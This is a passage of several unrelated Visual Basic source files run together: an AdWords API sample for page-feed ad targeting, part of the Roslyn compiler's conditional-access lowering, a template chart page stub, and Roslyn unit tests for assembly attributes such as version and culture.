Console.WriteLine( "DSA page feed for campaign ID '{0}' was updated with feed ID '{1}'.", campaignToUpdate.id, feedId) Catch e As Exception Throw _ New System.ApplicationException("Failed to set page feed for campaign.", e) End Try End Using End Sub ''' <summary> ''' Set custom targeting for the page feed URLs based on a list of labels. ''' </summary> ''' <param name="user">The AdWords user.</param> ''' <param name="adGroupId">Ad group ID.</param> ''' <param name="labelName">The label name.</param> ''' <returns>The newly created webpage criterion.</returns> Private Function AddDsaTargeting(ByVal user As AdWordsUser, ByVal adgroupId As Long, ByVal labelName As String) As BiddableAdGroupCriterion Using adGroupCriterionService As AdGroupCriterionService = CType( user.GetService( AdWordsService.v201809.AdGroupCriterionService), AdGroupCriterionService) ' Create a webpage criterion. Dim webpage As New Webpage() Dim parameter As New WebpageParameter() parameter.criterionName = "Test criterion" webpage.parameter = parameter ' Add a condition for label=specified_label_name. Dim condition As New WebpageCondition() condition.operand = WebpageConditionOperand.CUSTOM_LABEL condition.argument = labelName parameter.conditions = New WebpageCondition() {condition} Dim criterion As New BiddableAdGroupCriterion() criterion.adGroupId = adgroupId criterion.criterion = webpage ' Set a custom bid for this criterion. Dim biddingStrategyConfiguration As New BiddingStrategyConfiguration() Dim cpcBid As New CpcBid cpcBid.bid = New Money() cpcBid.bid.microAmount = 1500000 biddingStrategyConfiguration.bids = New Bids() {cpcBid} criterion.biddingStrategyConfiguration = biddingStrategyConfiguration Dim operation As New AdGroupCriterionOperation() operation.operand = criterion operation.operator = [Operator].ADD Try Dim retval As AdGroupCriterionReturnValue = adGroupCriterionService.mutate( New AdGroupCriterionOperation() {operation}) Dim newCriterion As BiddableAdGroupCriterion = CType(retval.value(0), BiddableAdGroupCriterion) Console.WriteLine( "Web page criterion with ID = {0} and status = {1} was created.", newCriterion.criterion.id, newCriterion.userStatus) Return newCriterion Catch e As Exception Throw _ New System.ApplicationException("Failed to create webpage criterion for " + "custom page feed label.", e) End Try End Using End Function End Class End Namespace
' Copyright (c) Microsoft Open Technologies, Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. Imports System.Collections.Immutable Imports System.Diagnostics Imports System.Runtime.InteropServices Imports Microsoft.CodeAnalysis.Text Imports Microsoft.CodeAnalysis.VisualBasic.Symbols Imports Microsoft.CodeAnalysis.VisualBasic.Syntax Imports TypeKind = Microsoft.CodeAnalysis.TypeKind Namespace Microsoft.CodeAnalysis.VisualBasic Partial Friend NotInheritable Class LocalRewriter Private Function ShouldCaptureConditionalAccessReceiver(receiver As BoundExpression) As Boolean Select Case receiver.Kind Case BoundKind.MeReference Return False Case BoundKind.Parameter Return DirectCast(receiver, BoundParameter).ParameterSymbol.IsByRef Case BoundKind.Local Return DirectCast(receiver, BoundLocal).LocalSymbol.IsByRef Case Else Return True End Select End Function Private Function CanCaptureReferenceToConditionalAccessReceiver(receiver As BoundExpression) As Boolean If receiver IsNot Nothing Then Debug.Assert(receiver.Type.IsTypeParameter()) ' We cannot capture readonly reference to an array element in a ByRef temp and requesting a writable refernce can fail. Select Case receiver.Kind Case BoundKind.ArrayAccess Return False Case BoundKind.Sequence Return CanCaptureReferenceToConditionalAccessReceiver(DirectCast(receiver, BoundSequence).ValueOpt) End Select End If Return True End Function Public Overrides Function VisitConditionalAccess(node As BoundConditionalAccess) As BoundNode Debug.Assert(node.Type IsNot Nothing) Dim rewrittenReceiver As BoundExpression = VisitExpressionNode(node.Receiver) Dim receiverType As TypeSymbol = rewrittenReceiver.Type Dim factory = New SyntheticBoundNodeFactory(topMethod, currentMethodOrLambda, node.Syntax, compilationState, diagnostics) Dim condition As BoundExpression Dim first As BoundExpression Dim receiverForAccess As BoundExpression Dim structAccess As BoundExpression = Nothing Dim notReferenceType As BoundExpression = Nothing Dim temp As LocalSymbol = Nothing Dim byRefLocal As LocalSymbol = Nothing If receiverType.IsNullableType() Then ' if( receiver.HasValue, receiver.GetValueOrDefault(). ... -> to Nullable, Nothing) If ShouldCaptureConditionalAccessReceiver(rewrittenReceiver) Then temp = New SynthesizedLocal(Me.currentMethodOrLambda, receiverType, SynthesizedLocalKind.LoweringTemp) first = factory.Sequence(ImmutableArray(Of LocalSymbol).Empty, ImmutableArray.Create(Of BoundExpression)( factory.AssignmentExpression(factory.Local(temp, isLValue:=True), rewrittenReceiver.MakeRValue())), factory.Local(temp, isLValue:=True)) receiverForAccess = factory.Local(temp, isLValue:=True) Else first = rewrittenReceiver receiverForAccess = rewrittenReceiver End If condition = NullableHasValue(first) receiverForAccess = NullableValueOrDefault(receiverForAccess) ElseIf receiverType.IsReferenceType Then ' if( receiver IsNot Nothing, receiver. ... -> to Nullable, Nothing) If ShouldCaptureConditionalAccessReceiver(rewrittenReceiver) Then temp = New SynthesizedLocal(Me.currentMethodOrLambda, receiverType, SynthesizedLocalKind.LoweringTemp) first = factory.AssignmentExpression(factory.Local(temp, isLValue:=True), rewrittenReceiver.MakeRValue()) receiverForAccess = factory.Local(temp, isLValue:=False) Else first = rewrittenReceiver.MakeRValue() receiverForAccess = first End If condition = factory.ReferenceIsNotNothing(first) 'TODO: Figure out how to suppress calvirt on this receiver Else Debug.Assert(Not receiverType.IsValueType) Debug.Assert(receiverType.IsTypeParameter()) ' if( receiver IsNot Nothing, receiver. ... -> to Nullable, Nothing) If ShouldCaptureConditionalAccessReceiver(rewrittenReceiver) Then notReferenceType = factory.ReferenceIsNotNothing(factory.DirectCast(factory.DirectCast(factory.Null(), receiverType), factory.SpecialType(SpecialType.System_Object))) If Not Me.currentMethodOrLambda.IsAsync AndAlso Not Me.currentMethodOrLambda.IsIterator AndAlso CanCaptureReferenceToConditionalAccessReceiver(rewrittenReceiver) Then ' We introduce a ByRef local, which will be used to refer to the receiver from within AccessExpression. ' Initially ByRefLocal is set to refer to the rewrittenReceiver location. ' The "receiver IsNot Nothing" check becomes ' Not <receiver's type is refernce type> OrElse { <capture value pointed to by ByRefLocal in a temp>, <store reference to the temp in ByRefLocal>, temp IsNot Nothing } ' Note that after that condition is executed, if it returns true, the ByRefLocal ponts to the captured value of the reference type, which is proven to be Not Nothing, ' and won't change after the null check (we own the local where the value is captured). ' Also, if receiver's type is value type ByRefLocal still points to the original location, which allows access side effects to be observed. ' The <receiver's type is refernce type> is performed by boxing default value of receiver's type and checking if it is a null reference. This makes Nullable ' type to be treated as a reference type, but it is Ok since it is immutable. The only strange thing is that we won't unwrap the nullable. temp = New SynthesizedLocal(Me.currentMethodOrLambda, receiverType, SynthesizedLocalKind.LoweringTemp) byRefLocal = New SynthesizedLocal(Me.currentMethodOrLambda, receiverType, SynthesizedLocalKind.LoweringTemp, isByRef:=True) Dim capture As BoundExpression = factory.ReferenceAssignment(byRefLocal, rewrittenReceiver).MakeRValue() condition = factory.LogicalOrElse(notReferenceType, factory.Sequence(ImmutableArray(Of LocalSymbol).Empty, ImmutableArray.Create(Of BoundExpression)(factory.AssignmentExpression(factory.Local(temp, isLValue:=True), factory.Local(byRefLocal, isLValue:=False)), factory.ReferenceAssignment(byRefLocal, factory.Local(temp, isLValue:=True)).MakeRValue()), factory.ReferenceIsNotNothing(factory.DirectCast(factory.Local(temp, isLValue:=False), factory.SpecialType(SpecialType.System_Object))))) condition = factory.Sequence(ImmutableArray(Of LocalSymbol).Empty, ImmutableArray.Create(capture), condition) receiverForAccess = factory.Local(byRefLocal, isLValue:=False) Else ' Async rewriter cannot handle the trick with ByRef local that we are doing above. ' For now we will duplicate access - one access for a value type case, one access for a class case. ' Value type case will use receiver as is. AddPlaceholderReplacement(node.Placeholder, rewrittenReceiver.MakeRValue()) structAccess = VisitExpressionNode(node.AccessExpression) RemovePlaceholderReplacement(node.Placeholder) If Not node.Type.IsVoidType() AndAlso Not structAccess.Type.IsNullableType() AndAlso structAccess.Type.IsValueType Then structAccess = WrapInNullable(structAccess, node.Type) End If ' Class case is handled by capturing value in a temp temp = New SynthesizedLocal(Me.currentMethodOrLambda, receiverType, SynthesizedLocalKind.LoweringTemp) condition = factory.ReferenceIsNotNothing( factory.DirectCast(factory.AssignmentExpression(factory.Local(temp, isLValue:=True), rewrittenReceiver.MakeRValue()), factory.SpecialType(SpecialType.System_Object))) receiverForAccess = factory.Local(temp, isLValue:=False) End If Else condition = factory.ReferenceIsNotNothing(factory.DirectCast(rewrittenReceiver.MakeRValue(), factory.SpecialType(SpecialType.System_Object))) receiverForAccess = rewrittenReceiver End If End If AddPlaceholderReplacement(node.Placeholder, receiverForAccess.MakeRValue()) Dim whenTrue As BoundExpression = VisitExpressionNode(node.AccessExpression) RemovePlaceholderReplacement(node.Placeholder) Dim whenFalse As BoundExpression If node.Type.IsVoidType() Then whenFalse = New BoundSequence(node.Syntax, ImmutableArray(Of LocalSymbol).Empty, ImmutableArray(Of BoundExpression).Empty, Nothing, node.Type) If Not whenTrue.Type.IsVoidType() Then whenTrue = New BoundSequence(whenTrue.Syntax, ImmutableArray(Of LocalSymbol).Empty, ImmutableArray.Create(whenTrue), Nothing, node.Type) End If Else If Not whenTrue.Type.IsNullableType() AndAlso whenTrue.Type.IsValueType Then whenTrue = WrapInNullable(whenTrue, node.Type) End If whenFalse = If(whenTrue.Type.IsNullableType(), NullableNull(node.Syntax, whenTrue.Type), factory.Null(whenTrue.Type)) End If Dim result As BoundExpression = TransformRewrittenTernaryConditionalExpression(factory.TernaryConditionalExpression(condition, whenTrue, whenFalse)) If structAccess IsNot Nothing Then ' Result now handles class case. let's join it with the struct case result = TransformRewrittenTernaryConditionalExpression(factory.TernaryConditionalExpression(notReferenceType, structAccess, result)) End If If temp IsNot Nothing Then Dim temporaries As ImmutableArray(Of LocalSymbol) If byRefLocal IsNot Nothing Then temporaries = ImmutableArray.Create(temp, byRefLocal) Else temporaries = ImmutableArray.Create(temp) End If If result.Type.IsVoidType() Then result = New BoundSequence(node.Syntax, temporaries, ImmutableArray.Create(result), Nothing, result.Type) Else result = New BoundSequence(node.Syntax, temporaries, ImmutableArray(Of BoundExpression).Empty, result, result.Type) End If End If Return result End Function End Class End Namespace
Imports TabbedPivotCodeBehindVBDemo.Models Imports TabbedPivotCodeBehindVBDemo.Services Namespace Views Public NotInheritable Partial Class ChartPage Inherits Page Implements INotifyPropertyChanged ' TODO WTS: Change the chart as appropriate to your app. ' For help see http://docs.telerik.com/windows-universal/controls/radchart/getting-started Public Sub New() InitializeComponent() End Sub Public ReadOnly Property Source As ObservableCollection(Of DataPoint) Get ' TODO WTS: Replace this with your actual data Return SampleDataService.GetChartSampleData() End Get End Property Public Event PropertyChanged As PropertyChangedEventHandler Implements INotifyPropertyChanged.PropertyChanged Private Sub [Set](Of T)(ByRef storage As T, value As T, <CallerMemberName> Optional propertyName As String = Nothing) If Equals(storage, value) Then Return End If storage = value OnPropertyChanged(propertyName) End Sub Private Sub OnPropertyChanged(propertyName As String) RaiseEvent PropertyChanged(Me, New PropertyChangedEventArgs(propertyName)) End Sub End Class End Namespace
' Copyright (c) Microsoft Open Technologies, Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. Imports System.IO Imports System.Reflection Imports System.Reflection.Metadata Imports System.Reflection.Metadata.Ecma335 Imports Microsoft.CodeAnalysis Imports Microsoft.CodeAnalysis.Test.Utilities Imports Microsoft.CodeAnalysis.VisualBasic Imports Microsoft.CodeAnalysis.VisualBasic.Symbols Imports Microsoft.CodeAnalysis.VisualBasic.Symbols.Metadata.PE Imports Microsoft.CodeAnalysis.VisualBasic.UnitTests Imports Roslyn.Test.Utilities Public Class AssemblyAttributes Inherits BasicTestBase <Fact> Public Sub VersionAttribute() Dim other As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyVersion("1.2.3.4")> Public Class C Friend Sub Foo() End Sub End Class ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) Assert.Empty(other.GetDiagnostics()) Assert.Equal(New Version(1, 2, 3, 4), other.Assembly.Identity.Version) End Sub <Fact, WorkItem(543708, "DevDiv")> Public Sub VersionAttribute02() Dim comp As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyVersion("1.22.333.4444")> Public Class C End Class ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) VerifyAssemblyTable(comp, Sub(r) Assert.Equal(New Version(1, 22, 333, 4444), r.Version) End Sub) ' --------------------------------------------- comp = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyVersion("10101.0.*")> Public Class C End Class ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) VerifyAssemblyTable(comp, Sub(r) Assert.Equal(10101, r.Version.Major) Assert.Equal(0, r.Version.Minor) End Sub) End Sub <Fact, WorkItem(545948, "DevDiv")> Public Sub VersionAttributeErr() Dim comp As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyVersion("1.*")> Public Class C Friend Sub Foo() End Sub End Class ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) CompilationUtils.AssertTheseDiagnostics(comp, <error><![CDATA[ BC36962: The specified version string does not conform to the required format - major[.minor[.build|*[.revision|*]]] <Assembly: System.Reflection.AssemblyVersion("1.*")> ~~~~~ ]]></error>) ' --------------------------------------------- comp = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyVersion("-1")> Public Class C End Class ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) CompilationUtils.AssertTheseDiagnostics(comp, <error><![CDATA[ BC36962: The specified version string does not conform to the required format - major[.minor[.build|*[.revision|*]]] <Assembly: System.Reflection.AssemblyVersion("-1")> ~~~~ ]]></error>) End Sub <Fact> Public Sub FileVersionAttribute() Dim other As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyFileVersion("1.2.3.4")> Public Class C Friend Sub Foo() End Sub End Class ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) Assert.Empty(other.GetDiagnostics()) Assert.Equal("1.2.3.4", DirectCast(other.Assembly, SourceAssemblySymbol).FileVersion) End Sub <Fact, WorkItem(545948, "DevDiv")> Public Sub SatelliteContractVersionAttributeErr() Dim comp As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[<Assembly: System.Resources.SatelliteContractVersionAttribute("1.2.3.A")>]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) CompilationUtils.AssertTheseDiagnostics(comp, <expected><![CDATA[ BC36976: The specified version string does not conform to the recommended format - major.minor.build.revision <Assembly: System.Resources.SatelliteContractVersionAttribute("1.2.3.A")> ~~~~~~~~~ ]]></expected>) comp = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[<Assembly: System.Resources.SatelliteContractVersionAttribute("1.2.*")>]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) CompilationUtils.AssertTheseDiagnostics(comp, <expected><![CDATA[ BC36976: The specified version string does not conform to the recommended format - major.minor.build.revision <Assembly: System.Resources.SatelliteContractVersionAttribute("1.2.*")> ~~~~~~~ ]]></expected>) End Sub <Fact> Public Sub FileVersionAttributeWrn() Dim other As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyFileVersion("1.2.*")> Public Class C Friend Sub Foo() End Sub End Class ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) CompilationUtils.AssertTheseDiagnostics(other, <error><![CDATA[ BC42366: The specified version string does not conform to the recommended format - major.minor.build.revision <Assembly: System.Reflection.AssemblyFileVersion("1.2.*")> ~~~~~~~ ]]></error>) End Sub <Fact> Public Sub TitleAttribute() Dim other As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyTitle("One Hundred Years Of Solitude")> Public Class C Friend Sub Foo() End Sub End Class ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) Assert.Empty(other.GetDiagnostics()) Assert.Equal("One Hundred Years Of Solitude", DirectCast(other.Assembly, SourceAssemblySymbol).Title) Assert.Equal(False, DirectCast(other.Assembly, SourceAssemblySymbol).MightContainNoPiaLocalTypes()) End Sub <Fact> Public Sub TitleAttributeNothing() Dim other As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyTitle(Nothing)> Public Class C Friend Sub Foo() End Sub End Class ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) Assert.Empty(other.GetDiagnostics()) Assert.Null(DirectCast(other.Assembly, SourceAssemblySymbol).Title) End Sub <Fact> Public Sub DescriptionAttribute() Dim other As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyDescription("A classic of magical realist literature")> Public Class C Friend Sub Foo() End Sub End Class ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) Assert.Empty(other.GetDiagnostics()) Assert.Equal("A classic of magical realist literature", DirectCast(other.Assembly, SourceAssemblySymbol).Description) End Sub <Fact> Public Sub CultureAttribute() Dim src = <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyCulture("pt-BR")> Public Class C Shared Sub Main() End Sub End Class ]]> </file> </compilation> Dim other As VisualBasicCompilation = CreateCompilationWithMscorlib(src, OutputKind.DynamicallyLinkedLibrary) Assert.Empty(other.GetDiagnostics()) Assert.Equal("pt-BR", other.Assembly.Identity.CultureName) End Sub <Fact> Public Sub CultureAttribute02() Dim comp As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyCulture("")> ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) VerifyAssemblyTable(comp, Sub(r) Assert.True(r.Culture.IsNil)) comp = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyCulture(Nothing)> ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) VerifyAssemblyTable(comp, Sub(r) Assert.True(r.Culture.IsNil)) comp = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyCulture("ja-JP")> ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) VerifyAssemblyTable(comp, Nothing, strData:="ja-JP") End Sub <Fact> Public Sub CultureAttribute03() Dim comp As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyCulture("")> Public Class C Shared Sub Main() End Sub End Class ]]> </file> </compilation>, OutputKind.ConsoleApplication) VerifyAssemblyTable(comp, Sub(r) Assert.True(r.Culture.IsNil)) comp = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyCulture(Nothing)> Public Class C Shared Sub Main() End Sub End Class ]]> </file> </compilation>, OutputKind.ConsoleApplication) VerifyAssemblyTable(comp, Sub(r) Assert.True(r.Culture.IsNil)) End Sub <Fact, WorkItem(545951, "DevDiv")> Public Sub CultureAttributeErr() Dim src = <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyCulture("pt-BR")> Public Class C Shared Sub Main() End Sub End Class ]]> </file> </compilation> Dim comp = CreateCompilationWithMscorlib(src, OutputKind.ConsoleApplication) CompilationUtils.AssertTheseDiagnostics(comp, <error><![CDATA[ BC36977: Executables cannot be satellite assemblies; culture should always be empty <Assembly: System.Reflection.AssemblyCulture("pt-BR")> ~~~~~~~ ]]></error>) End Sub <Fact> Public Sub CultureAttributeMismatch() Dim neutral As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation name="neutral"> <file name="a.vb"><![CDATA[ public class neutral end class ]]> </file> </compilation>, OptionsDll) Dim neutralRef = New VisualBasicCompilationReference(neutral) Dim en_UK As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation name="en_UK"> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyCultureAttribute("en-UK")> public class en_UK end class ]]> </file> </compilation>, OptionsDll) Dim en_UKRef = New VisualBasicCompilationReference(en_UK) Dim en_us As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation name="en_us"> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyCultureAttribute("en-us")> public class en_us end class ]]> </file> </compilation>, OptionsDll) Dim en_usRef = New VisualBasicCompilationReference(en_us) Dim compilation As VisualBasicCompilation compilation = CreateCompilationWithMscorlibAndReferences( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyCultureAttribute("en-US")> public class en_US Sub M(x as en_UK) End Sub end class ]]> </file> </compilation>, {en_UKRef, neutralRef}, OptionsDll) AssertTheseDiagnostics(compilation.Emit(New System.IO.MemoryStream()).Diagnostics, <expected> BC42371: Referenced assembly 'en_UK, Version=0.0.0.0, Culture=en-UK, PublicKeyToken=null' has different culture setting of 'en-UK'. </expected>) compilation = compilation.WithOptions(OptionsNetModule) AssertTheseDiagnostics(compilation.Emit(New System.IO.MemoryStream()).Diagnostics, <expected> </expected>) compilation = CreateCompilationWithMscorlibAndReferences( <compilation> <file name="a.vb"> </file> </compilation>, {compilation.EmitToImageReference()}, OptionsDll) AssertTheseDiagnostics(compilation.Emit(New System.IO.MemoryStream()).Diagnostics, <expected> BC42371: Referenced assembly 'en_UK, Version=0.0.0.0, Culture=en-UK, PublicKeyToken=null' has different culture setting of 'en-UK'. </expected>) compilation = CreateCompilationWithMscorlibAndReferences( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyCultureAttribute("en-US")> public class Test Sub M(x as en_us) End Sub end class ]]> </file> </compilation>, {en_usRef}, OptionsDll) CompileAndVerify(compilation).VerifyDiagnostics() compilation = compilation.WithOptions(OptionsNetModule) AssertTheseDiagnostics(compilation.Emit(New System.IO.MemoryStream()).Diagnostics, <expected> </expected>) compilation = CreateCompilationWithMscorlibAndReferences( <compilation> <file name="a.vb"> </file> </compilation>, {compilation.EmitToImageReference()}, OptionsDll) CompileAndVerify(compilation).VerifyDiagnostics() compilation = CreateCompilationWithMscorlibAndReferences( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyCultureAttribute("en-US")> public class en_US Sub M(x as neutral) End Sub end class ]]> </file> </compilation>, {en_UKRef, neutralRef}, OptionsDll) CompileAndVerify(compilation).VerifyDiagnostics() compilation = compilation.WithOptions(OptionsNetModule) AssertTheseDiagnostics(compilation.Emit(New System.IO.MemoryStream()).Diagnostics, <expected> </expected>) compilation = CreateCompilationWithMscorlibAndReferences( <compilation> <file name="a.vb"> </file> </compilation>, {compilation.EmitToImageReference()}, OptionsDll) CompileAndVerify(compilation, sourceSymbolValidator:=Sub(m As ModuleSymbol) Assert.Equal(1, m.GetReferencedAssemblySymbols().Length) Dim naturalRef = m.ContainingAssembly.Modules(1).GetReferencedAssemblySymbols(1) Assert.True(naturalRef.IsMissing) Assert.Equal("neutral, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null", naturalRef.ToTestDisplayString()) End Sub, symbolValidator:=Sub(m As ModuleSymbol) Assert.Equal(2, m.GetReferencedAssemblySymbols().Length) Assert.Equal("neutral, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null", m.GetReferencedAssemblySymbols()(1).ToTestDisplayString()) End Sub).VerifyDiagnostics() compilation = CreateCompilationWithMscorlibAndReferences( <compilation> <file name="a.vb"><![CDATA[ public class neutral Sub M(x as en_UK) End Sub end class ]]> </file> </compilation>, {en_UKRef}, OptionsDll) AssertTheseDiagnostics(compilation.Emit(New System.IO.MemoryStream()).Diagnostics, <expected> BC42371: Referenced assembly 'en_UK, Version=0.0.0.0, Culture=en-UK, PublicKeyToken=null' has different culture setting of 'en-UK'. </expected>) compilation = compilation.WithOptions(OptionsNetModule) AssertTheseDiagnostics(compilation.Emit(New System.IO.MemoryStream()).Diagnostics, <expected> </expected>) compilation = CreateCompilationWithMscorlibAndReferences( <compilation> <file name="a.vb"> </file> </compilation>, {compilation.EmitToImageReference()}, OptionsDll) AssertTheseDiagnostics(compilation.Emit(New System.IO.MemoryStream()).Diagnostics, <expected> BC42371: Referenced assembly 'en_UK, Version=0.0.0.0, Culture=en-UK, PublicKeyToken=null' has different culture setting of 'en-UK'. </expected>) End Sub <Fact> Public Sub CompanyAttribute() Dim other As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyCompany("MossBrain")> Public Class C Friend Sub Foo() End Sub End Class ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) Assert.Empty(other.GetDiagnostics()) Assert.Equal("MossBrain", DirectCast(other.Assembly, SourceAssemblySymbol).Company) other = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[<Assembly: System.Reflection.AssemblyCompany("微软")>]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) Assert.Empty(other.GetDiagnostics()) Assert.Equal("微软", DirectCast(other.Assembly, SourceAssemblySymbol).Company) End Sub <Fact> Public Sub ProductAttribute() Dim other As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyProduct("Sound Cannon")> Public Class C Friend Sub Foo() End Sub End Class ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) Assert.Empty(other.GetDiagnostics()) Assert.Equal("Sound Cannon", DirectCast(other.Assembly, SourceAssemblySymbol).Product) End Sub <Fact> Public Sub CopyrightAttribute() Dim other As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyCopyright("مايكروسوفت")> Public Structure S End Structure ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) Assert.Empty(other.GetDiagnostics()) Assert.Equal("مايكروسوفت", DirectCast(other.Assembly, SourceAssemblySymbol).Copyright) End Sub <Fact> Public Sub TrademarkAttribute() Dim other As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyTrademark("circle r")> Interface IFoo End Interface ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) Assert.Empty(other.GetDiagnostics()) Assert.Equal("circle r", DirectCast(other.Assembly, SourceAssemblySymbol).Trademark) End Sub <Fact> Public Sub InformationalVersionAttribute() Dim other As VisualBasicCompilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <Assembly: System.Reflection.AssemblyInformationalVersion("1.2.3garbage")> Public Class C Friend Sub Foo() End Sub End Class ]]> </file> </compilation>, OutputKind.DynamicallyLinkedLibrary) Assert.Empty(other.GetDiagnostics()) Assert.Equal("1.2.3garbage", DirectCast(other.Assembly, SourceAssemblySymbol).InformationalVersion) End Sub <Fact(), WorkItem(529922, "DevDiv")> Public Sub AlgorithmIdAttribute() Dim hash_module = TestReferences.SymbolsTests.netModule.hash_module Dim hash_resources = {New ResourceDescription("hash_resource", "snKey.snk", Function() New MemoryStream(TestResources.SymbolsTests.General.snKey, writable:=False), True)} Dim compilation As VisualBasicCompilation compilation = CreateCompilationWithMscorlibAndReferences( <compilation> <file name="a.vb"><![CDATA[ class Program Sub M(x As Test) End Sub end class ]]></file> </compilation>, options:=OptionsDll, references:={hash_module}) CompileAndVerify(compilation, emitOptions:=EmitOptions.RefEmitBug, manifestResources:=hash_resources, validator:=Sub(peAssembly, _omitted) Dim reader = peAssembly.ManifestModule.GetMetadataReader() Dim assembly As AssemblyDefinition = reader.GetAssemblyDefinition() Assert.Equal(AssemblyHashAlgorithm.SHA1, assembly.HashAlgorithm) Dim file1 = reader.GetAssemblyFile(MetadataTokens.AssemblyFileHandle(1)) Assert.Equal(New Byte() {&H6C, &H9C, &H3E, &HDA, &H60, &HF, &H81, &H93, &H4A, &HC1, &HD, &H41, &HB3, &HE9, &HB2, &HB7, &H2D, &HEE, &H59, &HA8}, reader.GetBytes(file1.HashValue)) Dim file2 = reader.GetAssemblyFile(MetadataTokens.AssemblyFileHandle(2)) Assert.Equal(New Byte() {&H7F, &H28, &HEA, &HD1, &HF4, &HA1, &H7C, &HB8, &HC, &H14, &HC0, &H2E, &H8C, &HFF, &H10, &HEC, &HB3, &HC2, &HA5, &H1D}, reader.GetBytes(file2.HashValue)) Assert.Null(peAssembly.ManifestModule.FindTargetAttributes(peAssembly.Handle, AttributeDescription.AssemblyAlgorithmIdAttribute)) End Sub) compilation = CreateCompilationWithMscorlibAndReferences( <compilation> <file name="a.vb"><![CDATA[ <assembly: System.Reflection.AssemblyAlgorithmIdAttribute(System.Configuration.Assemblies.AssemblyHashAlgorithm.None)> class Program Sub M(x As Test) End Sub end class ]]></file> </compilation>, options:=OptionsDll, references:={hash_module}) CompileAndVerify(compilation, emitOptions:=EmitOptions.RefEmitBug, manifestResources:=hash_resources, validator:=Sub(peAssembly, _omitted) Dim reader = peAssembly.ManifestModule.GetMetadataReader() Dim assembly As AssemblyDefinition = reader.GetAssemblyDefinition() Assert.Equal(AssemblyHashAlgorithm.None, assembly.HashAlgorithm) Dim file1 = reader.GetAssemblyFile(MetadataTokens.AssemblyFileHandle(1)) Assert.Equal(New Byte() {&H6C, &H9C, &H3E, &HDA, &H60, &HF, &H81, &H93, &H4A, &HC1, &HD, &H41, &HB3, &HE9, &HB2, &HB7, &H2D, &HEE, &H59, &HA8}, 